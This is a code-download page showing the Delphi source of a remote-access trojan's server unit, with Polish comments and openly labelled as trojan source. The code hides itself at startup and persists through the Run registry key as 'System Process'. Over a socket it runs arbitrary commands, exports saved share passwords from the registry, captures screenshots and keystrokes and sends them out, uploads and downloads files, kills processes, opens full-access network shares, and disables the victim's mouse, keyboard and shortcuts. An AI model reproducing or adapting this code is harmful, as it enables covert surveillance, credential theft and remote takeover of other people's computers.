⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 serverunit.pas

📁 New Trojan source delphi source code
💻 PAS
📖 第 1 页 / 共 2 页
字号:
begin
 dc:=CreateDC('DISPLAY',nil,nil,nil);
 SetRect(rec,0,0,Getdevicecaps(dc,horzres),getdevicecaps(dc,vertres));
 invertrect(dc,rec);
 deleteDC(dc);
end;



procedure TForm1.zmieniacz;
var width, height:integer;
    dc:HDC;
    i:word;
    ekran:Timage;
begin
  width:=Screen.Width;
  height:=Screen.Height;
  ekran:=TImage.Create(nil);
  ekran.Width:=width;
  ekran.Height:=height;
  dc:=CreateDC('DISPLAY',nil,nil,nil);
  BitBlt(ekran.Canvas.Handle,0,0,width,height,dc,0,0,SRCCOPY );
  for i:=1 to 50 do
  StretchBlt(dc,i,i,width-2*i,height-2*i,ekran.Canvas.Handle,0,0,width,height,SRCCOPY );
  for i:=50 downto 0 do
  StretchBlt(dc,i,i,width-2*i,height-2*i,ekran.Canvas.Handle,0,0,width,height,SRCCOPY );
  DeleteDC(dc);
  ekran.free;
end;


procedure TForm1.przeslijplik(nazwapliku:string);
var buf:array[1..128] of char;
    fakt:integer;
begin
assignfile(ekranfile,nazwapliku);
reset(ekranfile,1);
blockread(ekranfile,buf,sizeof(buf),fakt);
form1.plikSer.Socket.connections[0].SendBuf(buf,fakt);
while(fakt<>0)do
begin
blockread(ekranfile,buf,sizeof(buf),fakt);
form1.plikser.Socket.connections[0].SendBuf(buf,fakt);
application.ProcessMessages;
sleep(100);
end;
closefile(ekranfile);
end;
{$R *.DFM}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var Wiadomosc,Pom,Napedy,C,NazwaWsad,Text,Msg1,
Katalog,nazwapliku,parametr,x,y,sciezka,nazwa,koment,haslo,flagas:string;
  kod,i,xmouse,ymouse,typ,pozycja,flaga,w:integer;
     r:TRegistry;
  PlikWsad:TextFile;

begin
  Wiadomosc := Socket.ReceiveText;
  pom:='';
  for i:=1 to 3 do pom:=pom+wiadomosc[i];
  kod:=strtoint(pom);
  case kod of
    100 : begin
            WylaczMonitor();
            Socket.SendText('100Monitor wylaczony');
          end;

    101 : begin
            WlaczMonitor();
            Socket.SendText('100Monitor wlaczony');
          end;
    102 : begin
            DajGlos();
            Socket.SendText('100Beep OK');
          end;
    103 : begin
            DrukujDokument();
            Socket.SendText('100Dokument wydrukowano');
          end;
    104 : begin
            UsunWygaszacz();
            Socket.SendText('100Wygaszacz usuniety');
          end;
    105 : begin
            for i:=4 to 6 do pom:=pom+wiadomosc[i];
            xmouse:=strtoint(pom);
            pom:='';
            for i:=8 to 10 do pom:=pom+wiadomosc[i];
            ymouse:=strtoint(pom);
            ZmienPozycjeKursora(xmouse,ymouse);
          end;
    106 : begin
            UkryjPasekZadan();
            Socket.SendText('100Pasek zadan ukryty');
          end;
    107 : begin
            PokazPasekZadan();
            Socket.SendText('100Pasek zadan widoczny');
          end;
    108 : begin
            RysujPulpit();
            Socket.SendText('100Kwadraty narysowane');
          end;
    109 : begin
            ZmienStart();
            Socket.SendText('100Start zmienil polozenie');
          end;
    110 : begin
            WysunCD();
            Socket.SendText('100Tacka CD wysunieta');
          end;
    111 : begin
            ZamknijCD();
            Socket.SendText('100Tacka CD zamknieta');
          end;
    112 : begin
            GrajWave();
            Socket.SendText('100Wave odtworzony');
          end;
    113 : begin
            Socket.SendText('100System zrestartowany');
            Reboot();
          end;
    114 : begin
             Socket.SendText('100System w trakcie zamykania');
             CloseSystem();
          end;
    115 : begin
            ZamienPrzyciskiMyszy();
            Socket.SendText('100Przyciski myszy zamienione');
          end;
    116 : begin
            ClipMouseWindow();
            Socket.SendText('100Obcieto okno myszy');
          end;
    117 : begin
            ZawiesMyszke();
            Socket.SendText('100Mysz zawieszona');
          end;
    118 : begin
            UkryjKursorMyszy();
            Socket.SendText('100Kursor ukryty');
          end;
    119 : begin
            PokazKursorMyszy();
            Socket.SendText('100Kursor widoczny');
          end;
    120 : begin
            ZawiesKlawiature();
            Socket.SendText('100Klawiatura zawieszona');
          end;
    121 : begin
            ZawiesSystem();
            Socket.SendText('100System zawieszony');
          end;
    122 : begin
            Socket.SendText('100Aplikacja zakonczona');
            application.Terminate;
          end;
    123 : begin
        {zapisz}
            assignfile(ekranfile,string(sysdir)+'\eksport1.reg');
            rewrite(ekranfile);
            closefile(ekranfile);
            parametr:=' /s /e '+string(sysdir)+'\eksport1.reg HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan';
            ShellExecute(handle,'open','regedit.exe',pchar(parametr),'',SW_HIDE);
            sleep(1000);
            przeslijplik(string(sysdir)+'\eksport1.reg');
            Socket.SendText('123');
          end;
    125 : begin
            for i:=ord('A') to ord('Z') do
            begin
              c:=chr(i)+':\';
              typ:=GetDriveType(PChar(c));
              case typ of
                 Drive_Removable : napedy:=napedy+' '+c+'-Dysk_wymiennny ';
                 Drive_Fixed     : napedy:=napedy+' '+c+'-Dysk_staly ';
                 Drive_Remote    : napedy:=napedy+' '+c+'-Dysk_sieciowy ';
                 Drive_Cdrom     : napedy:=napedy+' '+c+'-CD-ROM ';
                 Drive_Ramdisk   : napedy:=napedy+' '+c+'-RAM_Disk ';
              end;
            end;
            Socket.SendText('125'+napedy);
          end;
    200 : begin
            parametr:=copy(wiadomosc,4,length(wiadomosc));
            form1.WykonajPolecenie(parametr);
            Socket.SendText('100Polecenie wykonane');
          end;
    201 : begin
            pozycja:=pos(';',Wiadomosc);
            NazwaWsad:=copy(Wiadomosc,4,pozycja-4);
            Text:=copy(Wiadomosc,pozycja+1,length(Wiadomosc));
            assignfile(plikwsad,NazwaWsad);
            try
            append(plikwsad);
            except
               exit;
            end;
            write(PlikWsad,''+#13+#10);
            write(PlikWsad,Text);
            closefile(plikwsad);
            Socket.SendText('100Dopisano do pliku');
          end;
    300 : begin
            RysujKolo;
            Socket.SendText('100Kolo narysowane');
          end;
    301 : begin
            uchwyt:=GetWindowDC(GetDesktopWindow);
            systemparametersinfo(97,word(true),@w,0);
            canvas.Handle:=uchwyt;
            canvas.Draw(0,0,Image1.Picture.Graphic);
            releasedc(getdesktopwindow,canvas.handle);
            Socket.SendText('100Obraz wyswietlony');

          end;
    302 : begin

          end;
    303 : begin
            for i:=4 to length(wiadomosc) do msg1:=msg1+wiadomosc[i];
            form1.MsgNaPulpice(msg1);
            Socket.SendText('100Wiadomosc narysowana');
          end;
    304 : begin
            for i:=4 to length(wiadomosc) do msg1:=msg1+wiadomosc[i];
            form1.MsgWOkienku(msg1);
            Socket.SendText('100Okienko wyswietlone');
          end;
    305 : begin
            form1.OproznijSchowek;
            socket.SendText('305Schowek oprozniony');
          end;
    306 : begin
            form1.Pokazstart(false);
            socket.SendText('306Start ukryty');
          end;
    307 : begin
            form1.Pokazstart(true);
            socket.SendText('307Start widoczny');
          end;
    308 : begin
            form1.ikonypulpitu(false);
            socket.sendtext('308Ikony ukryte');
          end;
    309 : begin
            form1.ikonypulpitu(true);
            socket.SendText('309Ikony widoczne');
          end;
    310 : begin
            form1.odwrockol;
            socket.SendText('310Kolory odwrocone');
          end;
    311 : begin
            form1.zmieniacz;
            socket.SendText('311Zmiana rozmiaru');
          end;
    312 : begin
            form1.przywrocstart;
            socket.sendtext('312Start przywrocony');
          end;
    313 : begin
            pozycja:=pos(';',wiadomosc);
            for i:=4 to pozycja-1 do x:=x+wiadomosc[i];
            for i:=pozycja+1 to length(wiadomosc) do y:=y+wiadomosc[i];
            form1.zmienrozdziel(strtoint(x),strtoint(y));
            socket.SendText('313Rozdzielczosc zmieniona');
          end;

    400 : begin
            Zrzutekranu();
            form1.przeslijplik(string(sysdir)+'\sys.jpg');
            socket.sendtext('400');
          end;
    401 : begin
            r:=TRegistry.Create;
            r.RootKey:= HKEY_LOCAL_MACHINE;
            r.OpenKey('Software\Microsoft\Windows\Help',true);
            r.WriteString('systemses','111');
            r.CloseKey;
            r.Free;
            UruchomSzpiega();
            socket.SendText('401Szpieg uruchomiony');
          end;
    402 : begin
            r:=TRegistry.Create;
            r.RootKey:= HKEY_LOCAL_MACHINE;
            r.OpenKey('Software\Microsoft\Windows\Help',true);
            r.WriteString('systemses','000');
            r.CloseKey;
            r.Free;

            ZatrzymajSzpiega();
            socket.SendText('402Szpieg zatrzymany');
          end;

    403 : begin
            pozycja:=pos(';',wiadomosc);
            for i:=4 to pozycja-1 do sciezka:=sciezka+wiadomosc[i];
            pom:=copy(wiadomosc,pozycja+1,length(wiadomosc)-pozycja);
            pozycja:=pos(';',pom);
            for i:=1 to pozycja-1 do nazwa:=nazwa+pom[i];
            pom:=copy(pom,pozycja+1,length(pom)-pozycja);
            pozycja:=pos(';',pom);
            for i:=1 to pozycja-1 do koment:=koment+pom[i];
            pom:=copy(pom,pozycja+1,length(pom)-pozycja);
            pozycja:=pos(';',pom);
            for i:=1 to pozycja-1 do flagas:=flagas+pom[i];
            flaga:=strtoint(flagas);
            pom:=copy(pom,pozycja+1,length(pom)-pozycja);
            pozycja:=pos(';',pom);
            for i:=1 to pozycja-1 do haslo:=haslo+pom[i];
            ShareResource(Nil, pchar(sciezka),pchar(nazwa), pchar(koment), STYPE_DISKTREE,SHI50F_FULL or flaga,pchar(haslo),'');
            socket.SendText('403Zasoby Udostepnione');
          end;
    404 : begin
            r:=TRegistry.Create;
            r.RootKey:= HKEY_LOCAL_MACHINE;
            r.OpenKey('Software\Microsoft\Windows\Help',true);
            pom:='';
            pom:=r.readString('systemses');
            r.CloseKey;
            r.Free;
            if pom='111' then zatrzymajszpiega;
            przeslijplik(string(sysdir)+'\'+'syskey.da0');
            socket.SendText('404');
            if pom='111' then softuruchomszpiega;
          end;

    600 : begin
            for i:=3 to length(wiadomosc) do pom:=pom+wiadomosc[i];
            nazwapliku:=string(sysdir)+'\'+extractfilename(pom);
            label1.Caption:=nazwapliku;
            assignfile(stream,nazwapliku);
            rewrite(stream,1);
            Socket.SendText('600');
          end;
    601 : begin
            closefile(stream);
            socket.SendText('601Przesylanie zakonczone');
          end;
    700 : begin
            for i:=4 to length(wiadomosc) do katalog:=katalog+wiadomosc[i];
            Dirs(katalog);
            form1.przeslijplik(string(sysdir)+'\dirs.dir');
            socket.SendText('700');
          end;

   800 : begin
           procesy.MyPS;
           form1.przeslijplik(string(sysdir)+'\ps.ps');
           socket.SendText('800');
         end;

   801 : begin
           pom:='';
           for i:=4 to length(wiadomosc) do pom:=pom+wiadomosc[i];
           procesy.MyKILL(strtoint64(pom));
           socket.SendText('801Proces zabity');
         end;
   900 : begin
           pom:='';
           for i:=4 to length(wiadomosc) do pom:=pom+wiadomosc[i];
           form1.przeslijplik(pom);
           socket.SendText('900');
         end;
   988 : begin
           systemparametersinfo(97,word(true),@w,0);
           socket.SendText('988Zablokowano skroty systemowe');
         end;
   999 : begin
           systemparametersinfo(97,word(false),@w,0);
           socket.SendText('988Zablokowano skroty systemowe');
         end;


  end;

end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  ServerSocket1.Active := False;
  Action := caFree ;
  zatrzymajszpiega;
end;

function registerserviceprocess(pid,blah:longint):boolean;stdcall;
external 'kernel32.dll' name 'RegisterServiceProcess';

procedure TForm1.FormCreate(Sender: TObject);

var r,reg:TRegistry;
    i:integer;
    co:string;
begin
  GetWindowsDirectory(windir,sizeof(windir));
  GetSystemDirectory(sysdir,sizeof(sysdir));

  r:=TRegistry.Create;
  r.RootKey:= HKEY_LOCAL_MACHINE;
  r.OpenKey('software\microsoft\windows\currentversion\run',true);
  if not r.ValueExists('System Process') then r.WriteString('System Process',application.exename);
  r.closekey;
  r.Free;
  registerserviceprocess(0,1);
  reg:=TRegistry.Create;
  reg.RootKey:= HKEY_LOCAL_MACHINE;
  if not reg.KeyExists('Software\Microsoft\Windows\Help')then reg.CreateKey('Software\Microsoft\Windows\Help');
  reg.OpenKey('Software\Microsoft\Windows\Help',true);
  if not reg.ValueExists('systemses') then reg.WriteString('systemses','000')
  else
  begin
    co:=reg.ReadString('systemses');
    if co='111' then softuruchomszpiega;
  end;
  reg.closekey;
  reg.Free;
  for i:=1 to 3 do sysdrive[i]:=windir[i];
  form1.raz:=false;
  form1.zamknij:=false;
end;


procedure TForm1.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
Errorcode:=0;
end;

procedure TForm1.KeySpy1KeySpyUp(Sender: TObject; Key: Byte;
  KeyStr: String);
begin
  write(plik,keystr);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShareResource(Nil, 'C:\', 'TESTING', 'My Comment', STYPE_DISKTREE,SHI50F_FULL or 256,'a','ab');
end;

procedure TForm1.plikSerClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
  var
buf:array[1..1024]of byte;
ile:integer;
begin
  ile:=socket.ReceiveBuf(buf,sizeof(buf));
  blockwrite(stream,buf,ile);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -